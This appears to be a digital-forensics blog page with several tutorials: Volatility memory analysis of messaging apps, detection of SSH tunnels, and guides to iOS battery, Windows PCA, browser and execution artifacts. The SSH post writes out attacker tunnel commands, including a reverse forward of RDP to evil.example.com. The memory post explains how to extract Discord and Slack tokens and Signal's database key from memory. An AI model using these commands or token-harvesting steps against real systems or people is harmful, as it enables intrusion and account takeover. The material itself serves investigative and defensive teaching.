Showing posts with label DFIR. Show all posts
Showing posts with label DFIR. Show all posts

Saturday, May 2, 2026

Volatility Volshell & Custom Plugins Beginner's Guide

Memory forensics gets a mention, from time to time in DFIR, sometimes feels like filesystem artifacts get more of the spotlight.  Also seems like resources for memory forensics are "here is a cheatsheet of Volatility commands...figure out the rest". 

This guide is meant to be a practical walkthrough of volshell for interactive artifact hunting, followed by building your own Volatility plugin in Python — specifically aimed at finding what traces of artifacts left in process memory.


Why Memory Forensics ?

Lets take it from the perspective of messaging apps and how it can help with forensics. Signal encrypts its local database and holds the key in memory. Telegram Desktop encrypts its cache. Many apps using the Electron framework (Discord, Slack, WhatsApp Desktop) keep parsed message objects in a JavaScript heap that never touches disk in plaintext form.

Memory changes the equation. When an app is running, the decrypted content exists in process memory — by definition, because the CPU has to be able to read it. A memory acquisition at the right moment captures:

  • Decrypted message content that is encrypted on disk
  • Recipient and sender identifiers, conversation IDs, and timestamps
  • Cached content (images, files) that may have already been deleted from disk
  • Session keys and tokens that can unlock further analysis
  • Artifacts from apps that store nothing locally at all (browser-based apps, certain mobile app classes)

The tradeoff is volatility itself: the window to capture this data closes when the process exits or the machine powers off. Below is a step-by-step setup for how to use volatility and 

Setup: Volatility 3 and a Memory Image

This guide uses Volatility 3 (not the legacy Volatility 2). The APIs, plugin structure, and volshell interface differ meaningfully between versions — if you find older tutorials online referencing vol.py with profile flags like --profile=Win10x64, they are Volatility 2 guides.

Install Volatility 3:

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pip install -e .
pip install pefile yara-python

You'll need a memory image to work with. For practice, the MemLabs CTF challenge images are publicly available and cover real Windows memory scenarios. For lab work, tools like WinPmem (Windows), LiME (Linux), and osxpmem (macOS) produce acquisition images from live systems.

Verify your install with a basic plugin run against your image:

python vol.py -f memory.dmp windows.pslist

If you get a process list, you're ready. Volatility 3 auto-detects the OS and architecture from the image — no profile flag required.


Volshell: Interactive Memory Exploration

Volatility's standard plugins are useful for known artifacts. Volshell is where you go when you don't yet know what you're looking for, or when you need to poke at memory interactively before writing a formal plugin. Think of it as a Python REPL with the memory image loaded and Volatility's full API available.

Launch volshell against a Windows image:

python vol.py -f memory.dmp windows.volshell

You'll land in an interactive Python session. The context object self gives you access to the loaded image. A set of shortcut functions is pre-loaded to make navigation faster.

Core Volshell Commands

Command What it does
ps() List running processes (PID, PPID, name, offset)
cc(pid=<PID>) Change context — set the current process for memory reads
proc() Return the current process object
space() Return the current process virtual address space
db(addr, count=128) Display bytes at address (hex + ASCII)
dd(addr) Display doublewords (32-bit values)
dq(addr) Display quadwords (64-bit values)
dt("_EPROCESS", addr) Display a typed structure at an address

Finding a Target Process

Start by listing processes and finding your messaging app. Here we're looking for Discord, which runs as an Electron app:

>>> ps()
PID    PPID   Name             Offset
4      0      System           0xfa80...
...
3412   3388   Discord.exe      0xfa80...
3456   3412   Discord.exe      0xfa80...   <-- renderer process
3498   3412   Discord.exe      0xfa80...   <-- GPU process

Electron apps spawn multiple processes. The renderer process is where message content lives — it's the Chromium renderer that executes the JavaScript and holds the parsed message objects in its V8 heap. The renderer is typically not the first Discord.exe in the list; it will have the main process as its parent.

Switch context to the renderer process:

>>> cc(pid=3456)
Current context: Discord.exe @ 0xfa80..., pid=3456

Scanning Process Memory for Strings

The most direct approach for Electron apps is scanning process memory for recognizable string patterns. Discord message payloads follow a predictable JSON structure — "content", "channel_id", "author" — are good anchor strings.

In volshell, you can scan the process address space manually:

>>> # Get the address space for the current process
>>> addr_space = space()

>>> # Search for a pattern across all mapped regions
>>> search_bytes = b'"content"'
>>> for region in addr_space.get_valid_layers():
...     pass  # use the scanner approach below instead

Volatility 3 provides a scanner framework. The cleaner approach is to use BytesScanner from within volshell:

>>> from volatility3.framework.layers import scanner
>>> from volatility3.framework import interfaces

>>> # Scan process memory for "channel_id" (Discord message JSON key)
>>> target = b'"channel_id"'
>>> layer = space()
>>> hits = list(layer.scan(
...     context=self.context,
...     scanner=scanner.BytesScanner(needle=target)
... ))
>>> print(f"Found {len(hits)} hits")
Found 47 hits

>>> # Examine the region around the first hit
>>> db(hits[0], count=256)

The db() output will show you raw bytes with an ASCII representation. You're looking for readable JSON surrounding your anchor string — message content, usernames, timestamps.

Reading a Memory Region as Text

Once you have a hit address, you can extract a larger chunk and parse it as text:

>>> hit_addr = hits[0]
>>> # Read 2KB starting 512 bytes before the hit (catch leading JSON)
>>> raw = space().read(hit_addr - 512, 2048)
>>> print(raw.decode('utf-8', errors='replace'))

You'll get messy output mixed with non-printable bytes, but readable JSON fragments will surface. For Electron apps, look for complete JSON objects bracketed by { and } — these often contain entire message payloads with author information intact.


App-Specific Memory Artifacts: What to Hunt

Different apps leave different artifact patterns in memory. Here's where to focus for common third-party messaging apps.

Discord (Electron / V8 Heap)

Discord's desktop client is built on Electron. Message data is stored in the Chromium renderer's V8 JavaScript heap as serialized objects. Useful search strings:

  • "channel_id" — anchors message JSON objects
  • "author":{ — precedes author username and discriminator
  • "timestamp" — ISO 8601 timestamp tied to each message
  • discord.com/api/v — API endpoint strings indicating active request context

Discord's authentication token is a high-value artifact. Search for Authorization: (note the trailing space) in the renderer process — this surfaces the bearer token used for API calls, which can be used to retrieve message history via the API if the account is still active.

Slack (Electron / V8 Heap)

Slack Desktop is also Electron-based, with similar V8 heap structure. Key search patterns:

  • "client_msg_id" — unique message identifier in Slack's internal API format
  • "team_id" — workspace identifier
  • xoxs- or xoxb- — Slack token prefixes; finding one in memory gives you API access to the workspace
  • .slack.com/api/ — API call strings with endpoint paths

Signal Desktop (Electron + Encrypted SQLCipher DB)

Signal Desktop is more complex. The local database is encrypted with SQLCipher, but the encryption key is loaded into the renderer process memory at runtime. Search patterns:

  • "body": — message body field in Signal's internal message format
  • "conversationId" — links messages to contacts or groups
  • "key":" followed by 64 hex characters — the SQLCipher database key (if you find this, you can decrypt the on-disk database)
  • +1 followed by 10 digits — phone numbers stored in contact records

The SQLCipher key is the crown jewel for Signal analysis. Once extracted from memory, it can be passed to SQLCipher-aware tools to decrypt the on-disk database at %AppData%\Signal\sql\db.sqlite, giving you the complete message history.

Telegram Desktop (Qt / Custom Storage)

Telegram Desktop is written in C++ using Qt — not Electron. Memory artifacts are structured differently. Look for:

  • UTF-16 encoded message strings (common in Qt's QString — you'll see null bytes between each character)
  • t.me/ strings — channel and user deep links
  • Phone number patterns in the user cache region of memory

For UTF-16 scanning in volshell, encode your search term accordingly:

>>> # Search for UTF-16 LE encoded string (Qt QString format)
>>> target_utf16 = "Telegram".encode('utf-16-le')
>>> hits = list(space().scan(
...     context=self.context,
...     scanner=scanner.BytesScanner(needle=target_utf16)
... ))

Writing a Custom Volatility 3 Plugin in Python

Volshell is for interactive exploration. Once you know what you're looking for, a plugin turns that exploration into a repeatable, shareable tool you can run across multiple images.

Plugin Architecture: The Essentials

Every Volatility 3 plugin is a Python class that inherits from PluginInterface. Three things are required:

  1. _required_framework_version — the minimum Volatility 3 framework version
  2. get_requirements() — declares what the plugin needs (OS, layer, symbol tables)
  3. run() — the entry point that returns a TreeGrid of results

Complete Example: Discord Message Extractor

Here is a complete, working Volatility 3 plugin that scans for Discord processes, searches their memory for message JSON fragments, and outputs readable results. Save this as volatility3/plugins/windows/discord_messages.py:

import logging
import re
from typing import List, Iterator, Tuple

from volatility3.framework import interfaces, renderers, constants
from volatility3.framework.configuration import requirements
from volatility3.framework.layers import scanner
from volatility3.plugins.windows import pslist

vollog = logging.getLogger(__name__)


class DiscordMessages(interfaces.plugins.PluginInterface):
    """Extract Discord message fragments from process memory."""

    _required_framework_version = (2, 0, 0)
    _version = (1, 0, 0)

    @classmethod
    def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
        return [
            requirements.ModuleRequirement(
                name="kernel",
                description="Windows kernel",
                architectures=["Intel32", "Intel64"],
            ),
            requirements.PluginRequirement(
                name="pslist",
                plugin=pslist.PsList,
                version=(2, 0, 0),
            ),
            requirements.IntRequirement(
                name="context_bytes",
                description="Bytes to capture around each hit",
                default=512,
                optional=True,
            ),
        ]

    def _get_discord_procs(self) -> Iterator:
        """Yield process objects for all Discord.exe instances."""
        kernel = self.context.modules[self.config["kernel"]]
        for proc in pslist.PsList.list_processes(
            context=self.context,
            layer_name=kernel.layer_name,
            symbol_table=kernel.symbol_table_name,
        ):
            try:
                name = proc.ImageFileName.cast(
                    "string",
                    max_length=proc.ImageFileName.vol.count,
                    errors="replace",
                ).lower()
                if "discord" in name:
                    yield proc
            except Exception:
                continue

    def _scan_process_memory(
        self, proc, needle: bytes, context_bytes: int
    ) -> Iterator[Tuple[int, bytes]]:
        """Scan a process's address space for needle, yielding (offset, surrounding_bytes)."""
        try:
            proc_layer_name = proc.add_process_layer()
            proc_layer = self.context.layers[proc_layer_name]
        except Exception as e:
            vollog.debug(f"Could not create process layer: {e}")
            return

        for hit in proc_layer.scan(
            context=self.context,
            scanner=scanner.BytesScanner(needle=needle),
        ):
            try:
                start = max(0, hit - context_bytes)
                raw = proc_layer.read(start, context_bytes * 2, pad=True)
                yield hit, raw
            except Exception:
                continue

    def _extract_json_fragment(self, raw: bytes) -> str:
        """Pull the most readable JSON fragment from raw bytes."""
        # Decode with replacement for non-UTF8 bytes
        text = raw.decode("utf-8", errors="replace")
        # Find content between first { and last } in the window
        match = re.search(r'\{[^{}]{20,}\}', text)
        if match:
            return match.group(0)[:400]  # cap output length
        # Fall back to printable ASCII run
        printable = re.sub(r'[^\x20-\x7e]', ' ', text)
        return printable[:400].strip()

    def run(self) -> interfaces.renderers.TreeGrid:
        context_bytes = self.config.get("context_bytes", 512)

        # Discord message JSON keys to search for
        search_terms = [
            b'"channel_id"',
            b'"content"',
            b'"author":{',
        ]

        rows = []
        seen_offsets = set()

        for proc in self._get_discord_procs():
            pid = int(proc.UniqueProcessId)
            ppid = int(proc.InheritedFromUniqueProcessId)

            for needle in search_terms:
                for offset, raw in self._scan_process_memory(
                    proc, needle, context_bytes
                ):
                    if offset in seen_offsets:
                        continue
                    seen_offsets.add(offset)

                    fragment = self._extract_json_fragment(raw)
                    rows.append((0, (
                        pid,
                        ppid,
                        needle.decode("utf-8"),
                        hex(offset),
                        fragment,
                    )))

        return renderers.TreeGrid(
            [
                ("PID", int),
                ("PPID", int),
                ("Matched Key", str),
                ("Offset", str),
                ("Fragment", str),
            ],
            iter(rows),
        )

Run the plugin:

python vol.py -f memory.dmp windows.discord_messages
python vol.py -f memory.dmp windows.discord_messages --context-bytes 1024

The output will be a table of hits: the PID, which JSON key triggered the hit, the memory offset, and the surrounding JSON fragment. Post-process the Fragment column with a simple Python script to extract clean message content.

Adapting the Plugin for Other Apps

To target a different app, change two things:

  1. The process name filter in _get_discord_procs() — rename the method and update the string match (e.g., "slack", "signal", "telegram")
  2. The search terms list — replace with the anchor strings you identified in volshell exploration for the target app

For UTF-16 targets like Telegram Desktop, encode your search terms as b'\x74\x00\x2e\x00\x6d\x00\x65\x00' (the UTF-16 LE encoding of t.me) and update your fragment extractor to handle UTF-16 decoding:

text = raw.decode("utf-16-le", errors="replace")

Practical Workflow: From Acquisition to Artifacts

Putting it together into an end-to-end workflow for a messaging app investigation:

  1. Acquire memory while the target app is running. Use WinPmem or a hardware imager. Time matters — acquiring within minutes of the event window is significantly better than hours later for cached message content.
  2. Run pslist first (windows.pslist) to confirm the target process was running at acquisition time and note all PIDs.
  3. Open volshell and switch context to the target PID. Run a quick string scan with a few candidate anchor terms. Inspect hits with db() to confirm you're finding the right structure.
  4. Refine your search terms based on what you found interactively. Note which terms produce clean hits and which produce noise.
  5. Build or adapt a plugin using the pattern above. Run it against the image and export output for review.
  6. Cross-reference with disk artifacts — SQLite databases, log files, registry entries — to corroborate and extend the memory findings.

Common Pitfalls for Beginners

  • Scanning the wrong process. Electron apps spawn 5–10 processes. The main process rarely holds message data — the renderer process does. Use ppid relationships to identify the renderer and switch context there.
  • Assuming ASCII encoding. Qt applications (Telegram, some others) use UTF-16. If your string scan returns zero hits and you're certain the app was active, try encoding your search term as UTF-16 LE.
  • Reading too small a context window. The default 128 bytes from db() will often only show you part of a message object. Read at least 512–1024 bytes to capture full JSON structures.
  • Not accounting for garbage-collected memory. The V8 JavaScript heap is garbage-collected. Message objects may have been collected if the conversation was scrolled out of view. Focus on recently active conversations for the best hit rate.
  • Missing paged-out memory. Volatility will pad unreadable pages. Zero-filled runs in your output (00 00 00 00) indicate paged-out content that wasn't present in physical memory at acquisition time — this is expected and not a tool error.

Where to Go Next

  • Volatility 3 documentation — the official ReadTheDocs site covers the full plugin API and framework internals
  • MemLabs CTFgithub.com/stuxnet999/MemLabs — free memory images with progressively complex challenges
  • forensafe memory series — covers certificate extraction and other artifact classes in depth
  • YARA integration — Volatility 3 supports YARA rule scanning via windows.vadyarascan; once you've characterized an artifact pattern in volshell, encoding it as a YARA rule lets you scan memory images at scale

This post is part of the ForensicFellowship blog.  Feedback and corrections welcome.

Recent Posts

Thursday, April 16, 2026

SSH Port Forwarding for DFIR Analysts

 SSH is one of the most trusted protocols in the tech industry for remote connections.  Which is exactly why attackers love it. Beyond remote shells, ssh ships with a built-in tunneling capability called port forwarding that can pivot traffic through a compromised host, expose an internal service to the internet, or push a reverse tunnel.  From a DFIR perspective, the good news is that these tunnels almost always leave a trail. 

This post is a practitioner's guide to the three forwarding modes explained, followed by the host-side artifacts and log sources to view when an SSH tunnel is suspected.

The Three Flavors of SSH Port Forwarding

All three modes create a TCP channel inside an already-authenticated SSH session. The encryption hides the payload from the wire, but the ssh events still surface in sshd logs and on disk.

1. Local Forwarding (-L) - "Bring it to me"

The client opens a listener on its own machine and forwards any traffic that hits it through the SSH session to a destination reachable from the server.

ssh -L 127.0.0.1:8000:10.0.0.25:3306 user@bastion.corp.local

Anyone who connects to localhost:8000 on the client reaches the internal MySQL server at 10.0.0.25:3306 via the bastion. Classic use case: reaching a database that was never supposed to be internet-exposed.

2. Remote Forwarding (-R) - "Punch a hole back to me"

The server opens the listener and forwards inbound traffic back through the tunnel to the client. This is the reverse-shell-friendly variant that bypasses egress-only firewalls.

ssh -R 0.0.0.0:4444:127.0.0.1:3389 user@evil.example.com

The attacker's VPS now listens on 4444; anything that hits it is funneled back to RDP on the compromised host. Note: binding beyond loopback requires GatewayPorts yes in sshd_config on the remote side - itself a red flag if you see it enabled.

3. Dynamic Forwarding (-D) - "Give me a SOCKS proxy"

Instead of a single forwarded port, -D turns the SSH session into a SOCKS proxy. An attacker points proxychains or a browser at it and reaches anything the SSH server can reach.

ssh -D 127.0.0.1:1080 -N -f user@bastion.corp.local

The -N flag suppresses command execution and -f backgrounds the session - a common "set it and forget it" pivot pattern worth fingerprinting.

Log Artifact Hunting

OpenSSH's sshd does not log port forwards by default at INFO level. To catch them, you need LogLevel VERBOSE (or higher) in /etc/ssh/sshd_config. Confirm this early in an investigation - its absence is itself a finding.

With verbose logging, the following lines appear in /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/Amazon Linux). On systemd hosts, query them directly:

journalctl -u ssh --since "24 hours ago" | grep -E "channel|forwarding|direct-tcpip"
Log signatureWhat it means
server_request_direct_tcpip: originator ... to host ... port ...Local or dynamic forward - the client asked the server to open an outbound channel.
server_input_global_request: rtype tcpip-forwardRemote forward - the client asked the server to bind a listener.
server_request_session: channel N followed by repeated channel N: newMultiple channels on one session - a strong tell for SOCKS-style -D usage.
Accepted publickey for ... from ... port ... followed by no interactive commandAuthenticated-but-silent session - common with -N -f.

In a SIEM, a simple starting hunt is any sshd event containing direct-tcpip or tcpip-forward. Pair that with the authenticating user and source IP, and you have a high-signal alert with low base-rate noise in most environments.

Host-Based Forensic Artifacts

Even if logs were never captured, forwarded SSH sessions leave fingerprints on disk and in memory. Prioritize these during triage:

Process arguments

The forwarding flags are passed on the command line and are visible in /proc/<pid>/cmdlineps auxf, or an EDR process tree. Any ssh invocation with -L-R-D, or -N -f deserves a second look. In live response:

ps -eo pid,user,cmd | grep -E "ssh .*-[LRD]"
ls -la /proc/*/exe 2>/dev/null | grep ssh

Network state

Listening sockets opened by forwards show up in ss -tnlp (or netstat -tnlp) bound to the expected local ports. Capture this output early - once the session dies, the listener disappears.

User shell history and SSH config

The shell history is often the single highest-yield artifact. 

Collect and grep for the ssh with the bad stuff:

grep -E "ssh .*-[LRD]|autossh|ProxyCommand" \
  /home/*/.bash_history /root/.bash_history /home/*/.zsh_history 2>/dev/null

Authorized keys and persistence

Attackers frequently pair tunnels with their own key in ~/.ssh/authorized_keys. Diff the file's mtime against known admin activity and validate every key's fingerprint against a trusted inventory. 

A Short Triage Checklist

  1. Confirm LogLevel in sshd_config; if not VERBOSE, note the gap.
  2. Pull auth.log/secure and grep for direct-tcpip and tcpip-forward.
  3. Snapshot psss -tnlp, and /proc/*/cmdline before the session closes.
  4. Collect shell histories, ~/.ssh/config, and authorized_keys for every human and service account.
  5. Correlate the suspect SSH session time windows

Closing Thoughts

SSH port forwarding is a legitimate tool that becomes an offensive capability the moment an attacker gets a valid credential. For the defender, the win is not blocking SSH - it is ensuring the tunnels are loud enough to hear. Turn up LogLevel, restrict AllowTcpForwarding where it is not needed, and build detections around the signals.

Recent Posts

Friday, March 20, 2026

iOS Acquisition Landscape

The Shifting iOS Acquisition Landscape


Cellebrite published an article this week noting that iOS 26 effectively ends physical jailbreaking as a viable forensic acquisition path. 

What does it mean for mobile forensics:

  • Full filesystem extractions from modern iOS devices increasingly require either the device's passcode + GrayKey/Cellebrite UFED, or other licensed platforms 
  • Logical and advanced logical acquisitions remain viable for many cases but don't reach the same locations and full filesystem


iOS Battery Artifact Path:

Battery data is one of those iOS artifact categories that could potentially be of use for pattern of life forensics. 

Located at:

/private/var/db/Battery/BDC/

Inside this directory you'll find a collection of CSV files. The ones of forensic interest have the prefix BDC_SBC — these are the only files in the folder that include battery percentages and human-readable fields. 

Key Fields in BDC_SBC CSV Files

FieldDescriptionForensic Significance
TimeStampEvent timestampPrimary timeline anchor for all battery events
Current CapacityRaw battery capacity (%)Tracks charge level across time — useful for device usage timelines
IsChargingBoolean charging statusProves device was plugged in at specific times
TemperaturePhone temperature in C × 1000Abnormal heat can indicate sustained CPU load (e.g., encryption, crypto mining, heavy app use)
AmperageCurrent draw in mA (negative = draining, positive = charging)Differentiates passive standby from active use; identifies fast vs. slow charging
VoltageVoltage in mVCombined with amperage, can indicate charging watt profile
StateOfChargeBattery percentage as shown in iOS UICorroborates screenshots or user claims about charge level
WattsWattage input during chargingIdentifies slow charging (5W) vs. fast charging (20W+)

What You Can Establish From This Data

Charging timeline: IsCharging combined with TimeStamp creates a precise record of when the device was connected to power. 

Active use vs. standby: A device in standby draws minimal current (low negative amperage, stable temperature). Sustained negative amperage combined with elevated temperature indicates active use — CPU-intensive processes running, app activity, or communication. This can challenge an alibi claim of "the phone was just sitting there."

Charging speed as a charger identifier: Fast chargers (20W+) produce a distinct wattage signature vs. standard 5W USB charging. In cases where charger type matters (e.g., travel location, specific hardware correlation), the Watts field may help.

Temperature anomalies: Sustained high temperature periods can indicate background processes running when the user claims the device was idle. Combined with other app activity artifacts, this can paint a fuller picture.


Multiple Files = Extended Timeline Coverage

The BDC directory typically contains multiple CSV files compiled across different date ranges. Correlate the timestamps across files to build a continuous battery timeline for the investigation period.

For manual review: the CSV files can be opened directly in any spreadsheet application. Filter by IsCharging to isolate charging windows, sort by TimeStamp to build a chronological view, and flag rows where Temperature exceeds expected idle thresholds (roughly 25,000–35,000 in the raw C×1000 scale, depending on ambient conditions).



Battery data could potentially be useful evidence it doesn't get deleted by the user, and it records continuously. But requires a full filesystem extraction




Recent Posts

Windows 11 - Program Compatibility Assistant (PCA) artifact

Windows 11 shipped a forensic artifact that hasn't been added to most workflows yet.

It's a plain text file sitting in a directory t and it can tell you exactly what executable a user double-clicked, including the full path and a UTC timestamp. 


What Is the PCA Launch Dictionary?

The Program Compatibility Assistant (PCA) service has existed since Vista. Its original purpose is to monitor launched applications, detect compatibility issues, and suggest fixes when old software has issues. 

Starting with Windows 11 22H2, Microsoft added a persistent text-based tracking mechanism to support that service :

Artifact location:

C:\Windows\appcompat\pca\PcaAppLaunchDic.txt

Companion files in the same directory:

C:\Windows\appcompat\pca\PcaGeneralDb0.txt
C:\Windows\appcompat\pca\PcaGeneralDb1.txt

The PcaGeneralDb files alternate as active logs and contain additional detail about compatibility errors and application exits — useful corroborating data alongside the launch dictionary.


File Format

The file is encoded in UTF-16 LE (not UTF-8 — tools that assume ASCII or UTF-8 will fail silently or be unreadable). 

Each line contains one entry: the full executable path, a pipe separator, and a UTC timestamp.

EXAMPLE:

C:\Users\Alice\Downloads\Quarterly_Review.pdf.exe|2026-03-15 09:42:11.000
C:\Temp\tool.exe|2026-03-15 09:43:05.000
D:\AUTORUN\payload.exe|2026-03-15 09:44:22.000

That third entry is immediately significant — D:\ is a removable drive. 


Scope and Limitations

It does not capture execution from:

  • cmd.exe or PowerShell
  • WMI or DCOM
  • PsExec or remote execution
  • Scheduled tasks or services

The artifact also persists after the source file is deleted. 

Quick Triage — PowerShell

During live response, read the file directly (the -Encoding Unicode flag is critical for UTF-16 LE):

Get-Content -Path "C:\Windows\appcompat\pca\PcaAppLaunchDic.txt" -Encoding Unicode

Filter for high-interest paths:

Get-Content -Path "C:\Windows\appcompat\pca\PcaAppLaunchDic.txt" -Encoding Unicode |
  Select-String -Pattern "Temp|Downloads|AppData|\\Users\\"

Copy for offline analysis:

copy "C:\Windows\appcompat\pca\PcaAppLaunchDic.txt" %USERPROFILE%\Desktop\PcaAppLaunchDic.txt

Python Parser for Pipeline Integration

import sys

def parse_pca(filepath):
    results = []
    with open(filepath, encoding="utf-16-le", errors="replace") as f:
        for line in f:
            line = line.strip()
            if "|" in line:
                path, timestamp = line.rsplit("|", 1)
                results.append({"path": path.strip(), "timestamp": timestamp.strip()})
    return results

if __name__ == "__main__":
    entries = parse_pca(sys.argv[1])
    for e in entries:
        print(f"[{e['timestamp']}] {e['path']}")

Run as: python3 parse_pca.py PcaAppLaunchDic.txt


Investigative Value — A Practical Scenario

A workstation is flagged in a phishing incident. The email attachment is gone. The downloaded file is gone. The user insists they only previewed a document. 

You check PcaAppLaunchDic.txt and find:

C:\Users\Alice\Downloads\Quarterly_Review.pdf.exe|2026-03-15 09:42:11.000

Where This Fits in the Execution Artifact Stack

The PCA launch dictionary doesn't replace the standard execution artifact set — it adds to it. Correlation is where the value compounds:

ArtifactLocationCovers CLI execution?Survives file deletion?
PcaAppLaunchDic.txtC:\Windows\appcompat\pca\No (Explorer only)Yes
PrefetchC:\Windows\Prefetch\YesYes
AmcacheC:\Windows\AppCompat\Programs\Amcache.hveYesYes (SHA-1 retained)
BAMSYSTEM hive – bam\State\UserSettingsYes (background)Yes
UserAssistNTUSER.DAT – UserAssist\CountNo (GUI only)Yes

Worth adding to your standard Windows 11 triage checklist. 

Recent Posts

Browser Artifacts

Browser forensics shows up in lots of investigations. From  insider threat, data exfiltration, phishing analysis, etc. 

Chrome, Edge, and Firefox all store their artifacts as SQLite databases, which means the analysis methodology is consistent once one knows the schema. 

Here's a breakdown of where the databases live, what tables matter, and how to extract them:


Google Chrome

Profile directory: C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\

(Multi-profile installs use Profile 1, Profile 2, etc. instead of Default)

Artifact File Path Key Table / Notes
Browsing HistoryDefault\Historyurls, visits tables; timestamps in WebKit epoch (microseconds since 1601-01-01)
DownloadsDefault\Historydownloads, downloads_url_chains tables; records full local save path
CookiesDefault\Network\Cookiescookies table; values encrypted with DPAPI on Windows
CacheDefault\Cache\Cache_Data\Binary cache blocks; use ChromeCacheView (NirSoft) to parse
BookmarksDefault\BookmarksJSON format; no SQLite needed
Login DataDefault\Login Datalogins table; passwords DPAPI-encrypted
Web DataDefault\Web DataAutofill, form data, credit card metadata (no raw PAN)
FaviconsDefault\Faviconsicon_mapping table; can reveal sites visited even if history was cleared
Sessions / TabsDefault\Sessions\SNSS format; use ChromeSessionParser
ExtensionsDefault\Extensions\Subdirectories per extension ID; check manifests for suspicious permissions

Timestamp note: Chrome uses WebKit time (microseconds since January 1, 1601). To convert: subtract 11644473600000000 microseconds to get Unix epoch. Most tools handle this automatically, but knowing the raw format matters when you're writing custom queries.


Microsoft Edge (Chromium)

Profile directory: C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\

Edge Chromium uses the same underlying SQLite schema as Chrome — identical table names, identical timestamp format. The only differences are the profile path and some Edge-specific databases:

Artifact File Path Notes
HistoryDefault\HistoryIdentical schema to Chrome
CookiesDefault\Network\CookiesDPAPI encrypted
CollectionsDefault\Collections\collectionsSQLiteEdge-specific "Collections" feature; tracks saved web content
Edge ShoppingDefault\EdgeShopping\Coupons, price comparisons — can reveal purchasing intent

Mozilla Firefox

Profile directory: C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile-id>.default-release\

The profile ID is a random alphanumeric string. List all profiles by reading C:\Users\<username>\AppData\Roaming\Mozilla\Firefox\profiles.ini.

Artifact File Path (relative to profile dir) Key Table / Notes
Browsing Historyplaces.sqlitemoz_places, moz_historyvisits; timestamps in microseconds since Unix epoch
Downloadsplaces.sqlitemoz_annos with annotation type downloads/
Bookmarksplaces.sqlitemoz_bookmarks table
Cookiescookies.sqlitemoz_cookies; stored in plaintext (unlike Chrome)
Form History / Autofillformhistory.sqlitemoz_formhistory table
Login Datalogins.json + key4.dbPasswords encrypted with NSS; key4.db holds the decryption key
Cachecache2\entries\Binary format; use MozillaCacheView (NirSoft)
Session Restoresessionstore-backups\JSON files; records open tabs and history at time of last session
Extensionsextensions.jsonJSON; list of installed add-ons with installation date

Analysis Methods

Direct SQLite querying: DB Browser for SQLite lets you open these databases directly and run custom queries. 

Example query for Chrome — URLs visited in a specific time range:

SELECT urls.url, urls.title, datetime((visits.visit_time/1000000)-11644473600, 'unixepoch') AS visit_time
FROM visits
JOIN urls ON visits.url = urls.id
WHERE visits.visit_time BETWEEN 13370000000000000 AND 13380000000000000
ORDER BY visits.visit_time ASC;

Automated parsing tools:

  • Hindsight — Chrome/Chromium-focused; outputs timeline CSV, JSON, or XLSX. Handles Chrome's evolving schema versions well.
  • Browser History Viewer — free GUI tool supporting Chrome, Firefox, Edge, IE, Safari
  • Browser Reviewer — portable tool for analyzing user activity across Firefox and Chrome-based browsers
  • KAPE with the BrowserArtifacts compound target — collects all browser profile directories in one triage pass

Anti-Forensic Considerations

A few things to keep in mind when browser artifacts appear clean or sparse:

  • Incognito/Private mode doesn't write to the History database — but the DNS cache, Windows Event Logs (network connections), and proxy logs may still capture the activity
  • History deletion removes records from urls and visits but the Favicons database often retains entries — favicon records for visited sites persist independently and don't get purged with standard history clearing
  • Cache survives many "clear history" operations depending on what checkboxes the user selected — always check the cache directory even when history is empty
  • SQLite WAL files (History-wal, places.sqlite-wal) may contain recently written but not yet checkpointed records — always grab these alongside the main database


Recent Posts

Windows Execution Artifacts

One of the most consistent questions I get is: "Where do I look to prove a program ran on a system?" This is the right question. Execution artifacts are the backbone of any Windows investigation they tell you what ran, when, how many times, and sometimes from where. Below is a practitioner's reference covering the key artifact locations for Windows:

Prefetch

Path: C:\Windows\Prefetch\*.pf

Prefetch files are created by the Windows Superfetch/prefetch service to speed up application launches. Each .pf file records the executable name, run count, last eight run times (Windows 8+), and file system resources referenced during load. This is gold for proving execution — even if the binary has been deleted, the prefetch file may still exist.

  • Enabled by default on workstations; disabled by default on Windows Server — check HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher
  • Files are named EXECUTABLENAME-HASH.pf where the hash is computed from the full launch path
  • Tool: PECmd (Eric Zimmerman) — parses single files or entire directories and outputs to CSV/JSON for timeline ingestion

Teaching point for students: A deleted executable with a remaining prefetch file is a classic indicator of anti-forensic activity. The prefetch hash also lets you distinguish between two executables with the same name launched from different paths.


Shimcache (AppCompatCache)

Registry key: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

Hive file: C:\Windows\System32\config\SYSTEM

Shimcache records entries for executables that have interacted with the Application Compatibility database. It tracks the file path, last modified timestamp, and (on older systems) a flag indicating whether the file was actually executed. Important caveat: on Windows 10/11, the executed flag is no longer reliably present — presence in shimcache indicates the file was visible to the OS, not necessarily run.

  • Entries are written to the registry at shutdown, not in real time — data in memory may not be captured from a live system unless you dump the hive
  • Tool: AppCompatCacheParser (Eric Zimmerman) — exports to CSV; correlate timestamps with your master timeline

Amcache

Path: C:\Windows\AppCompat\Programs\Amcache.hve

Amcache is a registry hive (not a flat registry key) that stores metadata about installed applications and recently executed programs. Unlike Shimcache, Amcache records SHA-1 hashes of executables — invaluable for malware identification and hash-based threat hunting.

  • Key subkeys: Root\InventoryApplication, Root\InventoryApplicationFile, Root\Programs
  • Records: full file path, SHA-1, compile time, PE metadata, and first execution timestamp
  • Tool: AmcacheParser (Eric Zimmerman)

BAM / DAM (Background Activity Moderator)

Registry key: HKLM\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\{SID}

Hive file: C:\Windows\System32\config\SYSTEM

BAM is a Windows 10 (build 1709+) kernel driver that throttles background application activity. As a forensic side effect, it records the last execution time of background processes per user SID — one of the few artifacts that gives you user-attributed execution timestamps in a single registry location.

  • Values are stored as binary data; the timestamp is a 64-bit FILETIME value at offset 0
  • Particularly useful for lateral movement investigations — remote execution artifacts (psexec, scheduled tasks) often appear here

LNK Files (Shell Link)

Path: C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\*.lnk

Windows automatically creates LNK shortcut files when a user opens a file or folder. Each LNK records the target file's path, MAC timestamps, file size, volume serial number, and even the target system's NetBIOS name and MAC address if opened over a network share.

  • Network-originated LNK files can reveal attacker infrastructure (UNC paths, internal hostnames)
